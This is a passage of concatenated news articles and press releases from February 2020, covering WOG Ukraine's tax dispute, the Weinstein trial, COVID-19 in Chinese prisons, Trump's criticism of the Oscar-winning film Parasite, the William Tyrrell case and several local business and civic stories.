coffee without going to the cash register a revolution in the gas market of Ukraine! In December 2019, a major update of the program took place and now B2B clients who fuel up using fuel cards can now do so using non-cash payments. Along with other users, they also have the ability to pay for fuel without leaving their car thanks to the WOG Pay service. The conflict between WOG Ukraine and the SFS: How it all began and how it ended The confrontation between the SFS , WOG Ukraine and the Continuum Group Ukraine began three years ago. Based on a review of reports for the period from 2011 to 2015, the Office of Large Taxpayers of the SFS issued a fine of 417 million UAH for evasion of excise duties by the WOG gas station network. The press went on to hypothesis that arrest of the WOG accounts might even be possible. Co-owner of Continuum Lahur, in turn, filed a lawsuit with a request to cancel the order set by the tax authorities. The events unfolded as such: - the court of jurisdiction took into account the arguments of the plaintiff regarding the impeccable tax history of the Continuum Group of Companies: since its founding in 1992, Continuum has passed all inspections on time and increased contributions to the state budget in proportion to business development; - the Court of Appeal also sided with Continuum; - the case came to the Supreme Court, which, in 2018, partially satisfied the cassation of the SFS and decided to start new hearings. Nevertheless, while trials in the case were ongoing, the gas station network successfully (without any violations) passed three more tax audits from 2016 to 2019. In addition, WOG beneficiary Lahur managed to repel another fiscal attack. In October 2019, the Supreme Court refused to satisfy the cassation appeal of the Main Directorate of the SFS in the Volyn Region and cancelled a fine of 41.5 million UAH. The above organisation was looking to charge WOG for a contrived violation on terms of payment in the field of foreign economic activity. Quoting bankruptcy of the WOG gas station network based on claims from the tax authorities is a classic form of information manipulation. Confrontation between the SFS and the WOG group of companies has more to do with contrived information than what is true, and has done little to prevent the green brand from developing its business, introducing new client services, collecting prestigious awards, and looking confidently into the future. The jury in the trial of disgraced movie mogul Harvey Weinstein is deadlocked on the most serious charges against him. On Friday, the jury asked Judge James Burke if it could abstain from returning a verdict on two counts of predatory sexual assault, while declaring Weinstein guilty on all other counts. After consulting with lawyers in the case, Burke advised the jury to keep deliberating and see if they can come to a unanimous verdict. Lawyers for Weinstein indicated they would accept a partial verdict, which prosecutors and Burke opposed. The two charges of predatory sexual assault stem from allegations by Sopranos actress Annabella Sciorra that Weinstein raped her in the mid-1990s. Jurors on Friday focused on studying Sciorras testimony. The charges carry a maximum sentence of life in prison, and are not subject to New Yorks statute of limitations. Weinstein is accused by over 30 actresses and former employees of rape or other sexual offenses. In December, the producer reached a tentative $25 million out-of-court settlement with a number of accusers whose cases would otherwise be difficult to pursue. The allegations against Weinstein were revealed by reporter Ronan Farrow in the New Yorker in 2017. Farrow subsequently asserted that his former network, NBC News, had attempted to bury his story because Weinstein had threatened to expose sexual assault allegations against former Today Show host Matt Lauer. NBC has denied Farrows charges. In his book Catch and Kill, Farrow also alleged that Weinstein used connections with Hillary Clintons publicist to try to suppress the report. More from National Review Beijing: More than 500 cases of the new coronavirus have been detected in prisons across China, authorities said Friday, prompting the sacking of a slew of officials. Hubei, the hard-hit central province where the virus emerged late last year, said Friday that 271 cases were reported by its prisons on Thursday, including 220 that had previously not been known to provincial authorities. Most of those cases were at the Wuhan Women's Prison in Hubei's capital, He Ping, director for prison administration at the Ministry of Justice, told reporters. The warden of Wuhan women's prison had been removed for failing to prevent the outbreak, according to local Communist Party newspaper Hubei Daily. Seven guards and 200 inmates also tested positive for the virus at Rencheng prison in eastern Shandong province, the provincial health commission said at a press conference. Xie Weijun, head of Shandong's justice department, ad seven other officials were sacked over the outbreak, officials said. Wu Lei, director of Shandong's prison administration, said the new cases showed that "the implementation of our prevention and control measures have not been effective". The central government has dispatched a team to launch a "comprehensive investigation" into the outbreak at Rencheng Prison, state news agency Xinhua reported. Another 34 cases were found at Shilifeng prison in eastern Zhejiang province, leading to the ouster of its director and another official. A policeman had "deliberately concealed" information about a visit to Wuhan -- the epicentre of the outbreak -- in mid-January and continued to work at the prison, said Xu Xiaobo, deputy director of the Zhejiang Provincial Justice Department. "The policeman... was diagnosed with new coronavirus on January 29. He had worked long hours and has come into contact with many people, causing many prisoners to become infected," Xu said. "All the cases were imported cases. All patients are observed in isolation, and all confirmed patients are sent for treatment," he added. Xu said no deaths had occurred in the prisons because of the coronavirus. One suspected case was found at the Hubei Juvenile Detention Center, He said. Hubei announced earlier on Friday that a total of 411 new cases of the virus were confirmed in the province on Thursday, but later revised its figure up to 631 to include the prison numbers. The clusters came as Chinese authorities have pointed to a drop in officially reported new cases this week as evidence that quarantines and other drastic measures to contain the virus are working. Most of China remains paralysed over fears of contagion, with schools remaining closed and Beijing ordering those returning to the city to self-quarantine for 14 days. New cases at two hospitals in the country's capital have also emerged. Health officials said 36 patients, medical workers and family members have been infected with the virus at Beijing's Fuxing hospital, which has been partially sealed off since January 31. An elderly woman receiving kidney treatment at Peking University People's Hospital also tested positive after two infected relatives visited her earlier this month, the hospital said. The virus spreads through droplets disseminated by sneezing or coughing, highlighting the risks for large groups of confined people, possibly without adequate access to soap and water. Members of China's Uighur minority living in exile have also warned of the risk of the coronavirus spreading in internment camps, where rights groups say more than one million people have been rounded up by authorities. NEW YORK and SAN FRANCISCO, Feb. 21, 2020 /PRNewswire/ -- EPIC Insurance Brokers and Consultants, a retail property, casualty insurance brokerage and employee benefits consultant, announced today that Trent Sullivan has joined the firm as a Producer in the firm's Edgewood Healthcare Advisors' Practice. Sullivan will be responsible for new business development and the design and management of healthcare risk and insurance programs for clients. Sullivan brings over 20 years of experience in healthcare and municipal risk with successes in implementing creative and cost effective solutions. Sullivan joins from OneDigital in Farmington, CT. Said Susan Tewhill, National Managing Principal, "Trent's extensive healthcare risk management background in both the client, carrier and consultant settings, as well as his in-depth understanding of the complex healthcare marketplace will provide immediate and long term value to our clients. We are excited to add Trent to our growing national healthcare practice team." "Trent's healthcare experience and successes in both the consultative and client roles will be of great value to our Edgewood Healthcare Advisor clients. We have thoughtfully built this practice with key players who share a common drive to provide exceptional solutions and service and I could not be more excited to have Trent join our team," said Matt LeBlanc, Edgewood Healthcare Advisor's Managing Principal. Trent Sullivan can be reached at: [email protected] 860-713-8211(m) 860-521-8555(w) About EPIC Insurance Brokers & Consultants EPIC Holdings, Inc. is the corporate parent overseeing investments across the entire EPIC platform. The firm's core retail insurance brokerage business, EPIC Insurance Brokers & Consultants, now has more than 2,600 team members operating from more than 80 offices across the U.S., providing Property and Casualty, Employee Benefits, Specialty Programs, and Private Client solutions to EPIC clients. EPIC has created a values-based, client-focused culture that attracts and retains top talent, fosters employee satisfaction and loyalty and sustains a high level of customer service excellence. EPIC team members have consistently recognized their company as a "Best Place to Work" in multiple regions and as a "Best Place to Work in the Insurance Industry" nationally. EPIC ranks among the top 15 retail insurance brokers in the U.S. Backed and sponsored by Oak Hill Capital Partners, the company continues to expand organically and through strategic acquisitions across the country. For additional information, please visit https://www.epicbrokers.com/. *LOGO link for media: https://www.Send2Press.com/300dpi/20-0221s2p-epic-healthcare-adv-300dpi.jpg *Image caption: Logo, Edgewood Healthcare Advisors, a division of EPIC. This release was issued through Send2Press, a unit of Neotrope. For more information, visit Send2Press Newswire at https://www.Send2Press.com SOURCE EPIC Insurance Brokers and Consultants Related Links https://epicbrokers.com/ Dublin, Feb. 21, 2020 (GLOBE NEWSWIRE) -- The "Japanese Light Vehicle Leasing Market, Forecast to 2023" report has been added to ResearchAndMarkets.com's offering. Japanese Light Vehicle Leasing Market, Forecast to 2023 sheds light on the market size across the passenger vehicle (PV) and light commercial vehicle (LCV) segments and provides sales/parc data for the total market and fleet and company car (true fleet) segments in Japan. The company car segment in the country is discussed in detail, with a focus on the actual development and the growth potential of financial lease, operational lease, and outright purchase. The analysis takes into account historical data and current market conditions and insights and opinions from market participants to provide a five-year outlook on growth opportunities (over the 2018 to 2023 period). In addition to market data (PV and LCV) for both new registrations and portfolio, the study provides actual competitor data (portfolio) for the leading leasing service providers in Japan. Competitor data is available for both the leasing segments (operational and financial) for the base year (2018). Fleet renewals were the major driver for new company car registrations as a strained economy caused fluctuations in total registrations over the past few years. The benefits of leasing (unlike owning) has boosted the transition from a loan purchase system to a full-service operational leasing system since it has enabled corporates to focus on their core business activities. On the retail front, usership is becoming the trend as people prefer access to the asset and its benefits, rather than owning the asset and dealing with the attendant hassles of maintaining it. Vehicle leasing is seen as a solution to the growing number of challenges faced by companies with regard to their mobility needs. Amongst others, these include challenges associated with vehicle funding, fleet maintenance, and, more importantly, residual risk handling. Businesses in the present market conditions are focused on their core products/services and seek to outsource all other support activities. Mobility is a significant department - starting from fleet purchase to remarketing at a competitive price - and for each of the segments in the value chain, unless an expert team is on the job, issues such as cost spikes, utilisation mismatches, irregularities in fleet maintenance, and risks of dips in residual value can crop up. Leasing the fleet offers several benefits, including enables hassle-free mobility, on-demand mobility, and fleet after-service facilities. This has driven the growth of the leasing market, given it a structure, and regulated the ecosystem. The evolution of any industry depends on factors such as transformational trends that are linked to the macroeconomic factors of the region and the emerging business models that reflect innovation in mobility solutions, such as rental, car sharing, integrated mobility, and alternative power-train. The study covers these evolutionary trends that are expected to shape the market. For leasing providers and other companies that share the leasing ecosystem, interest lies in the growth opportunities that they need to leverage and the strategic imperatives that aid in their pursuit of growth and success. Overall, the study provides a 360 degree understanding of the Japanese leasing space and offers a detailed account of the key trends, market overview, and outlook. Key Topics Covered 1. Executive Summary Key Findings Market Engineering Measurements - New Fleet & Company Car Registrations Market Engineering Measurements - Fleet & Company Car Parc 2. Research Scope and Definition Research Scope, Objectives & Methodology Market Structure Fleet Segmentation Car Sharing 3. Market Forces - Drivers and Restraints Market Drivers Drivers Explained Market Restraints Restraints Explained 4. Total Market for Fleet and Company Cars Total New Fleet & Company Car Registrations Total New Fleet & Company Car Parc 5. Total New Company Car Registrations and Parc Analysis by Funding Type Total New Company Car Registrations Total Company Car Parc 6. Competitor Market Shares Operational Leasing Financial Leasing 7. Analysis of Total Private Leasing Segment (New Registrations and Parc) Total Private Leasing - New Registrations Total Private Leasing - Parc 8. Growth Opportunities and Companies to Action Growth Opportunities Strategic Imperatives 9. Key Conclusions and Future Outlook Companies Mentioned Fuyo Auto Lease Co. Ltd. Hitachi Capital Auto Lease IBJ Auto Leasing Ichimen Co. Ltd. JA Mitsui Leasing Auto Ltd. Mitsubishi Auto Leasing Corp. Nippon Car Solutions Nissan Financial Service ORIX Aito Corporation SMAS Fleet (Formally GE/SMFL) Sumitomo Mitsui Auto Service Toyota Rent-A-Lease For more information about this report visit https://www.researchandmarkets.com/r/j3r60 Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. The Centre on Friday dismissed vice-chancellor (V-C) of Manipur University, Adya Prasad Pandey, for administrative and financial irregularities along with dereliction of duty. President Ram Nath Kovind, who is a visitor to central universities, gave his assent to a proposal moved by the Union human resource development (HRD) ministry following which V-C Pandey was dismissed, said a senior government official requesting anonymity. Earlier, a fact-finding committee set up by the HRD ministry found that there was substance in the allegations made against Pandey. Pandey, who was appointed as Manipur University V-C in October 2016, has been in the crosshairs from the outset as the Manipur University Students Union along with the varsitys teachers and staff unions held protracted protests seeking his removal over a raft of complaints. His tenure as the V-C became untenable after state government officials requested the Centre to take note of the situation citing law and order concerns. Later, Pandey was put under suspension and was showcaused by the enquiry committee set up to probe charges against him. According to the official, it emerged that Pandey had stayed away from the university for 189 days, triggering a row. Though he gave an elaborate reply to the notice, the ministry felt that there was sufficient grounds -- such as making purchases without inviting tenders -- that necessitated his removal. A source close to vice chancellor Panday, however, insisted that he had worked in an honest manner. We completely reject all the allegations. He has worked in the most honest manner even in difficult circumstances. He stuck to rules even in trying circumstances, said the person close to Panday. In fact, it was Panday, who had been victimised. The person also added that Panday had already sent his resignation on February 17. What was the need to issue such an order after he sent his resignation, the person said. The HRD ministry has been taking a stern view of allegations against V-Cs. In 2016, the vice chancellor of Pondicherry University was removed following allegations of improprieties. In January, the V-C of Allahabad University, RL Hangloo, resigned citing personal reasons after a controversial tenure in which he was accused of administrative irregularities. Also, the V-C of Tripura University, Vijay Dharurkar, resigned recently after a video of a sting operation surfaced showing him accepting bribe. President Donald Trump on Thursday scorned the best picture Oscar for South Korean film Parasite, asking how a foreign movie could get the honor. How bad was the Academy Awards this year? Trump asked the crowd at a packed reelection campaign rally in Colorado Springs, Colorado. We got enough problems with South Korea, with trade. On top of it, they give them the best movie of the year? Trump asked in disbelief. Parasite, a dark comedy exploring class divides, made history by becoming the first non-English-language film to win Hollywoods biggest annual prize. Saying was it good? I dont know, Trump seemed to indicate he had not watched the film. Trump, whose presidency has been built on a nationalist America first slogan, said it was time to bring back classics from Hollywoods golden age. Lets get Gone With the Wind. Can we get Gone With the Wind back please? Sunset Boulevard? he said. Trump also took a crack at Best Supporting Actor winner Brad Pitt, calling him a little wiseguy. Pitt used his award acceptance speech to support the impeachment of Trump. Zou Meihong, head nurse at the First Affiliated Hospital of Nanchang University, in East China's Jiangxi Province, works in the ward of the Respiratory Medicine Department. [China Women's News] Zou Meihong has kept a diary since she joined the fight against the novel coronavirus (COVID-19) last month. Though what she experienced and thought during this period was recorded in a diary, the words are more like letters written to her two children, a high school student and a 2-year-old toddler. Zou is the head nurse of the Respiratory Medicine Department in the First Affiliated Hospital of Nanchang University, which was designated to offer treatment for patients infected with COVID-19 in East China's Jiangxi Province. In explaining why she keeps a diary on her tight schedule, Zou said she hoped her son and daughter will be proud of her and understand her sense of responsibility and love. Zou submitted her petition to join the battle against the virus on January 24, the beginning of the Spring Festival holiday, China's biggest one for family reunions. In her petition, she wrote, "I signed up voluntarily to join the nursing services for the COVID-19 patients and I am willing to give up the vacation, without consideration of payment, risk and death. Please allow me to fight on the frontline." On January 29, her petition was approved. Then she began to prepare new quarantine wards with another 24 nurses in the Xianghu branch of the hospital. They attended training courses to better adapt to the new environment and take care of the patients and themselves. Though she was a little nervous and afraid, since it was her first time to have direct contact with the patients, Zou encouraged herself by remembering her responsibilities and duties as a Party member and a medical worker. She also offered encouragement to her colleagues and reminded them of protecting themselves well. On February 3, the sixth day on her post in the quarantine ward, she felt sick after days of high-intensity work and huge pressure. After taking some pills, she cheered herself up and got herself prepared for the tough battle. In her diary, she expressed her deep affection to her younger daughter at 5 a.m. on February 5, recalling the times when she told bedtime stories to her. As a skilled nurse with more than 26 years of experience in the department, she felt obligated to fight on the frontline, she wrote. She hopes her daughter will understand her decision when she grows up. On the Lantern Festival that fell on February 8, Zou and her colleagues did not have family dinner at home. Instead, on such a typical occasion of reunion, they had traditional Chinese food tangyuan (glutinous dumpling balls stuffed with sweet fillings) at the hospital. However, Zou does not regret that. She said she will stick to her post and fight until victory in the battle so more families can reunite soon. (Source: China Women's News/Translated and edited by Women of China) MBABANE As the journey towards the much awaited Standard Bank Choral Competition beckons, more and more sponsors are getting on board the wagon. The competition will take place on April 5 at Esibayeni Lodge in Matsapha from 9am till late. The latest to add on to the prestigious list of sponsors for the competition is Liberty. Liberty Life Eswatini is a specialist life insurance company that provides group and individual/personal risk insurance solutions for life changing events in the society. Briefing In a press briefing held yesterday at the Liberty Life in Manzini, Eswatini National Choral Music Association Chairperson Sihle Gumbi, together with officials from the association witnessed the presentation made by General Manager for Liberty Life Dumisani Dlamini. Dlamini said Liberty was proud to be contributing towards the 2020 Eswatini National Choral Music Festival. He highlighted that choral music in Eswatini and the National Choral Music Festival dated back five decades and had stood the test of time as Eswatinis remarkable events and arts. Liberty regards music, in particular, a very symbolic form of art, and we are pleased to take part in further cementing Eswatini as the worlds capital when it comes to beautiful voices and melodies. Choral Music is liberating by nature, so this event is home to us as an insurer who believes in liberating people through financial freedom instilled in our products, he said. He further added that they were meeting their group partner Standard Bank, almost halfway with the sponsorship of E20, 000 towards this choral event that will impact over 200 000 people on April 5, 2020 at Esibayeni Lodges Esangweni Hall and they were looking forward to making this event memorable. He urged choral music fanatics to come expectant, as they looked forward to sharing more about the amazing initiatives they had on the day of the competition. Speaking on behalf of the Eswatini National Choral Music Association, Gumbi said they appreciatied Liberty Lifes support as this was their first sponsorship towards a choral music competition. He said he hoped that this relationship would go a long way and assured them that this partnership would benefit the choirs a lot. Gratitude He also extended his gratitude to Standard Bank for allowing core sponsors to come on board. Eswatini National Council of Arts and Culture CEO, Stanley Dlamini said he appreciated this gesture and he encouraged other entities to jump at this opportunity to invest in art. Choral music is known worldwide with a ready-made audience which companies can use to market themselves, he said. The association now stands at E260 000 worth of sponsorships in monetary value since Standard Bank, Macmillan and Liberty Life Eswatini made their contributions. On first impressions, it would be easy to mistake Denton as another bland globe-trotting businessman. At one point during an interview in London, even he deadpans that he's "not really anything other than an Anglo-Saxon male". But over the course of a long chat, it becomes clear that Denton is a unique force to be reckoned with. Charming, energetic and fiercely intelligent, he is a strategic thinker whose big-picture focus can at times be hard to keep up with. He has a strong progressive streak and the values instilled during an Irish Catholic upbringing are obvious. He's also wildly funny. "It's very hard to take myself seriously when I'm surrounded by the funniest woman in Australia. And you must never become pompous," Denton says. "But Jane and our kids still say 'leave the jokes to us'." He is determined to reshape the ICC - formed by northern industrialists, financiers and traders from the ashes of World War I and representing about 45 million businesses in over 100 countries - into a modern organisation with an effective voice at a time of global political upheaval. The ICC has more than 300 employees in Paris, together with local teams around the world, and is responsible for the International Court of Arbitration. John Denton is the first Australian secretary-general of the International Chamber of Commerce. Credit:Dominic Lorrimer He strongly defends the rights of business to engage in corporate activism, citing the financial and productivity benefits of demonstrating leadership on climate change and creating workplaces which embrace women and people of different sexual orientations and ethnic backgrounds. Loading "I have previously been accused of virtue signalling and I find that one of the more curious aspects of Australia," he says. "The role of diversity in Australia is absolutely critical to its potential for the 21st century. It's one of its greatest strengths. "I used to get attacked by some journos when I was running Corrs because I got involved in diversity issues. They said, 'oh you should just be focusing on profit and loss' and things like that. "They did not understand business. My job was and is to create an environment where the best talent want to come to work every day and, by the way, the best talent is not all white, straight males." In hindsight, Denton regrets not introducing gender quotas at the law firm after "listening to sensible people who talked me down from it". Denton made up for that lost opportunity by signing off on major changes at the ICC's arbitration court that overnight saw women make up half its 160 sitting members. He is also particularly proud of his role as a key adviser on Australia in the Asian Century White Paper, a pivotal moment in the realisation that the nation's social and economic fortunes are tied to its neighbours and not Europe or the United States. He says the paper, released under Julia Gillard, was seen by Asians as overdue acknowledgment of their potential and contribution to Australia. "I used to get fan mail from young Australians of Asian origin saying 'thank God you're calling it out'." Long before his recent work in Australia, Denton was a diplomat posted to Moscow just as Mikhail Gorbachev was flexing his muscles as the last leader of the Soviet Union. Denton loved the intellectual thrill of the job and the buzz of Moscow but something had to give. "We were commuting a lot, we had our first child and it was all kinds of crazy," Denton says of the time. "I was having a very interesting career but foreign service isn't really set up to enable a partner, a spouse, to have their own career. "We realised we didn't sign up for this so it was easier for me to change jobs than it was for her. Jane's job is what she is. She's a creator and it's her passion. So I changed jobs and eventually went into law." Loading The shift created surprising opportunities. As Turner shot to fame in Fast Forward back in Australia, Denton was dispatched to become charge d'affaires in Iraq during the early 1990s Gulf crisis and had to drive himself out of Baghdad one day before the US launched Operation Desert Storm. "That was quite an experience," he says through a wry smile. Denton makes no apologies for calling on his diplomatic skills to publicly argue for a more aggressive response to climate change and is keen to stress the ICC has an "absolute, explicit" commitment to the global goal of limiting temperature increases to 1.5 degrees and achieving net zero emissions status by 2050. When a huge bushfire raged towards Denton and Turner's holiday home on the NSW south coast on New Year's Eve, the threat of a changing climate suddenly became very personal. They and everyone else in the tight-knit community of Cuttagee, south of Bermagui, fled to safety. The house was expected to burn but was spared. "My situation is very much a First World problem compared to others," Denton says. "But it was a tough thing to experience and a tough thing to see happen to people around you. "I was really shocked because people in that community who we spend a lot of time with have kids who are RFS volunteers. These 18-year-olds were in and around houses as they exploded, and in fire trucks engulfed by flames two or three times higher than the vehicle. These kids are heroes." The fires solidified Denton's already strong belief that business had a central role in pushing for a more rapid reduction in global emissions. "People want to have a better environment and are actually aware there's a change going on in the world. They want to do something about it. What they're not looking for is the political tropes that go on, say in Australia, where if you use the wrong word or say the wrong thing on climate you kind of discover yourself in an Alice in Wonderland mystery." Denton and the ICC have launched GreenUp Australia, a business-led initiative that will use digital technology like blockchain to inspire the mass replanting of trees. He wants it to become the largest fire-resilient, native reforestation and carbon sequestration project in the world. "The whole idea is to take practical action with local communities and local businesses on carbon abatement. I thought people would come and piss on it from great heights - you know, that usual Aussie thing - but I was astounded by the response. People loved the idea." The ICC has signed a memorandum of understanding with the ACT government to pilot the project in bushfire-ravaged land to the south of Canberra and if the concept takes off, Denton says he can globalise it through the ICC's vast international reach. Denton shifts uncomfortably when asked whether the summer bushfire catastrophe could prove a turning point for Australia's attitude to climate change. By Easton Sanders Feb. 21, 2020 | 10:53 AM | PADUCAH At a ribbon cutting ceremony, officials gathered to celebrate the first renovation the tower has seen since 1970. The tower was in major need of upgrades; however, the process had been delayed numerous times due to various issues including a government shutdown and budget problems. The tower was supposed to be renovated in 2014 and originally would have taken eighteen months to complete; however, the project ended up taking five years. During the renovations, employees worked out of a modified trailer until the project was nearing completion in early December. Air Traffic Manager John Oates spoke about the renovations at the ceremony. According to Oates, it was supposed to be a six month project that turned into a modernization project with all new equipment. He said, "We really got through it because of all of the experience we have in this. We're very proud of it and glad to be a service for the city of Paducah." Barkley Regional Airport celebrated the renovation of their air traffic control tower on Thursday. A loner with a criminal past was arrested over the disappearance of William Tyrrell in one of the biggest developments in the case in more than five years. Frank Abbott, 78, lived in a rundown caravan at a remote sawmill 8km north of where Tyrrell vanished from his grandmother's home in Kendall, on the NSW mid-north coast, in September 2014. Detectives have conducted at least two searches of that bush area - most recently on Tuesday this week. Daily Mail Australia can exclusively reveal Abbott was arrested over the boy's disappearance and taken into police custody for questioning by detectives in late November. He was in prison at Cessnock's Shortland Correctional Centre for an unrelated conviction at the time and was returned to his cell without any charges being laid in relation to Tyrrell's disappearance. He remains behind bars. William Tyrrell person of interest: Frank Abbott, was previously tried, and acquitted, over the 1968 murder of Helen Mary Harrison in 1994 (above, outside the Darlinghurst Supreme Court) This is a caravan Abbott lived at on the mid-north coast of New South Wales following William's disappearance Abbott was living at Herons Creek - about 8km north of Kendall - when William vanished from his foster grandmother's home on September 12, 2014. He later moved to Logan's Crossing William Tyrrell, three, vanished from his foster-grandmother's home in Kendall, on the NSW mid-north coast, on September 12, 2014. He has not been seen since Abbott was transferred into police custody from Corrective Services' under a section 25 order - which multiple criminal defence lawyers confirmed amounted to an arrest. Such an order permits an inmate to be taken out of his cell 'to be interviewed by law enforcement officers or to assist in the administration of justice.' This week, north coast locals said police used cadaver dogs and 4WD to scour grounds near the sawmill where Abbott lived. Police confirmed the new search had taken place, and was related to the Tyrrell investigation, but did not provide further information. Officers previously searched the same area last August, turning over a woodpile. HOW POLICE TOOK FRANK ABBOTT INTO CUSTODY FROM JAIL Frank Abbott was taken into police custody under what is called a 'Section 25' order, under the Crimes (Administration of Sentences) Act 1999. Jane Sanders, the principal solicitor at Sydney's Shopfront Youth Legal Centre and an expert in police powers, said the order generally amounts to an arrest. 'Most of the time when they give a Section 25 order, it's without a person's choice - OK, you're coming with us to the police station and we're going to offer you an interview. I think that amounts to an arrest.' She said there was a possibility Mr Abbott may have gone voluntarily and the order was taken to facilitate that, but she has 'frankly never seen that happen'. Advertisement Daily Mail Australia is not suggesting Abbott was involved in the disappearance of William Tyrrell, only that he is a person of interest. Abbott has previously been accused of playing a role in the mysterious disappearance of a 17-year-old schoolgirl. In the 1990s, Abbott was acquitted at trial of the 1968 murder of a 17-year-old schoolgirl Helen Mary Harrison. Miss Harrison disappeared while riding her bike from her job in Pitt Town to her home in Maralya on March 16 that year. Her body was found in a shallow grave at East Kurrajong on March 23, 1968, police records said. The Australian has reported that Abbott was tried twice over the allegations. A first jury reportedly failed to reach a verdict, and a second acquitted him, in 1994. The trial reportedly heard he had an extensive criminal record. A NSW Police Force spokeswoman this week declined to comment on the revelation Abbott had been taken into custody 'as the matter is subject to a coronial inquest and an ongoing investigation'. In a separate statement to media this week, the new head of the Homicide Squad, Detective Superintendent Danny Doherty, said the investigation remains open and police are 'exploring lines of inquiry and persons of interest'. A Corrective Services NSW representative said the agency doesn't comment on 'individuals or police matters'. First search: Police scour a sawmill at Herons Creek NSW during the search for William Tyrrell on August 20, 2019 An officer supervises as a dog sniffs a woodpile at the site last year, at the same time an inquest was hearing evidence about William's disappearance One of the final photographs of William Tyrrell, as released by an inquest Abbott's name was first floated as a person of interest in the Tyrrell case late last year, when he reportedly gave evidence from his cell at the ongoing inquest into the boy's disappearance. The police investigation into William's disappearance has gone on for more than five years and involved 'hundreds' of persons of interest, the inquest has heard. William is suspected of being abducted from his foster grandmother's home after 9.30am on September 12, 2014. William's foster grandmother told the inquest the little boy, three, was 'roaring' around the yard pretending to be a lion the morning he vanished. A detective involved in the search for William previously told the inquest that it was a 'low bar' to be considered a person of interest. Counsel assisting the inquest, Gerard Craddock SC, said it would be 'wrong' to suggest witnesses called before the inquest were guilty of abduction or homicide. POLICE: THE WILLIAM TYRRELL PROBE IS STILL GOING AHEAD The NSW Police Force issued a statement to The Australian this week, reiterating that the investigation into William's disappearance is continuing. The n ew head of the homicide squad, Detective Superintendent Danny Doherty, said police are still conducting inquiries into the boy's vanishing. 'The investigation remains open,' he was quoted saying. Meanwhile, detectives are 'exploring lines of inquiry and persons of interest'. Advertisement 'Characterising a person as a 'person of interest' does not signify that a person committed a crime,' Mr Craddock said last year. Former person of interest, washing machine repairman Bill Spedding is suing NSW Police, claiming he was the subject of malicious prosecution. The inquest heard last year that Spedding had an alibi - a cafe receipt and witness evidence - that he was not anywhere near William's foster grandmother's house at the time the toddler vanished. Meanwhile, former investigation head Detective Chief Inspector Gary Jubelin is fighting allegations he illegally recorded another person of interest, neighbour Paul Savage. Jubelin denies the charges, telling a court he had a reasonable lawful excuse for making the recordings. There is a $1 million reward for information leading to missing boy's recovery. If William is still alive, he would turn nine this year. The inquest into his disappearance is expected to resume in March. WATERVLIET Mayor Charles V. Patricelli outlined plans to revitalize the community in an effort to bring in new residents and businesses while continuing to straighten out municipal finances and services during his first state of the city address Thursday night. Patricelli pointed to accomplishments in neighboring urban communities that Watervliet can emulate to spark redevelopment. He spoke to about 50 city residents at the city senior center. This city needs to come up with its own business and development plan, much the way the cities of Cohoes and Troy rehabbed their downtown districts and Green Island is in the process of reinventing its shoreline along the Hudson River, to attract new residents and businesses, the mayor said. To assist in this, the city will update its comprehensive plan and downtown revitalization study. There will be a focus on the 19th Street and Third Avenue business districts, as well as the Hudson Shores Park on the Hudson River. By using innovation and creativity we can seek to develop our business districts, reinvigorate our parks and continue to improve our infrastructure with help from grants and rezoning as we want Watervliet to become a destination with a thriving business district, rather than a cut-through for people (to drive through) to get to Cohoes, Troy, Albany and Latham, Patricelli said. Planning, development, accountability and increased performance are marks the city government must hit in order to spur expansion and to improve services, Patricelli said. The city will enforce its nuisance and abatement laws for the community to look quaint, charming, clean and attractive, he said. Going forward, city jobs and contracts will be awarded based on who is best qualified to improve this city with the goal being that every tax dollar spent makes the city better, Patricelli said. The administration continues to work on improving the citys finances, which hit bottom about three years ago. The city anticipates closing its 2019 books with better budget reserves than in the recent past, said Patricelli, who served the last three years as a city councilman. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. I comment the efforts of all the department heads and the administration for holding the line and only spending what we absolutely need, the mayor said. The city is repairing its buildings and equipment, updating its computer system and working with other municipalities and organizations to reduce costs and ensure services are delivered. The city also received 12 grants that will provide more than $6 million for projects that include $3 million to improve water quality at the filter plan, $1.3 million for clean water projects in the sewer system and $540,00 to replace lead water lines. Patricelli said he has asked Police Chief Anthony Geraci and Fire Chief Tom Garrett to deal with issues arising from the opioid crisis and to help residents. The film studio behind award-winning film Parasite has slammed Donald Trump after he complained about it winning Best Picture at the Oscars. During a rally at the Broadmoor World Arena in Colorado on Thursday, Trump lamented that he did not agree with the outcome of the Academy Awards after the South Korean film won Best Picture. 'By the way, how bad were the Academy Awards this year? Did you see it?' Trump asked rally-goers, and was met with wide-spread 'boos.' 'And the winner is a movie from South Korea,' Trump said, imitating those who announce category winners. 'What the hell was that all about?' In response, film studio NEON shared a Tweet, insinuating that he was unable to enjoy the English subtitles from the film. 'Understandable, he can't read,' the studio said in its brutal tweet. Scroll down for video During the Colorado event at the Broadmoor World Arena on Thursday, Trump lamented that he did not agree with the outcomes of the Academy Awards after 'Parasite' - a South Korean film - won Best Picture During the rally, Trump continued: 'We got enough problems with South Korea with trade. On top of it they give them the best movie of the year,' he continued, admitting he did not see the movie. Parasite was filmed fully in Korean, but played with English subtitles in the U.S. 'Was it good? I don't know,' Trump said. Ten non-American films have won Best Picture, including: The Artist (2011), The King's Speech (2010), Slumdog Millionaire (2010) and the Last Emperor. Parasite is the first-ever foreign-language film to win the award. Neon Studios shared a tweet critiquing the president, claiming that Trump could not read Parasite is the first-ever foreign-language film to win the award. Ten non-American films have won Best Picture, however 'And the winner is a movie from South Korea,' Trump said, imitating those who announce category winners. 'What the hell was that all about?' In his speech on Thursday, Trump continued: 'The winner is from South Korea. I thought it was best foreign film. Best foreign movie. No, it was did this ever happen before?' The 73-year-old president said he wishes the film industry would bring back American movies like the 1940 classic 'Gone with the Wind' and 1950 film 'Sunset Boulevard.' Sunset Boulevard lost Best Picture to All About Eve in 1950. After the comments, Twitter users mocked Trump for wanting an 80-year old film to make a comeback. And many noted that Hattie McDaniel, the actress who played 'Mammy' in Gone with the Wind and won an Oscar for the role, was not even allowed in the theater to accept her award back in 1940. Many on Twitter noted that Hattie McDaniel, the actress who played 'Mammy' in Gone with the Wind and won an Oscar for the role, was not even allowed in the theater to accept her award back in 1940 During the Colorado speech, Trump also criticized Brad Pitt after the actor made an impeachment jab during his acceptance speech for winning best supporting actor for 'Once Upon A Time... In Hollywood' During the Colorado speech, Trump also criticized Brad Pitt after the actor made an impeachment jab during his acceptance speech for winning best supporting actor for 'Once Upon A Time... In Hollywood.' 'I was never a big fan of his,' Trump said. 'He got up, said a little wise guy thing. Hes a little wise guy.' The 10 international films that have won Best Picture at the Oscars Ten films have won Best Picture at the Oscars and have 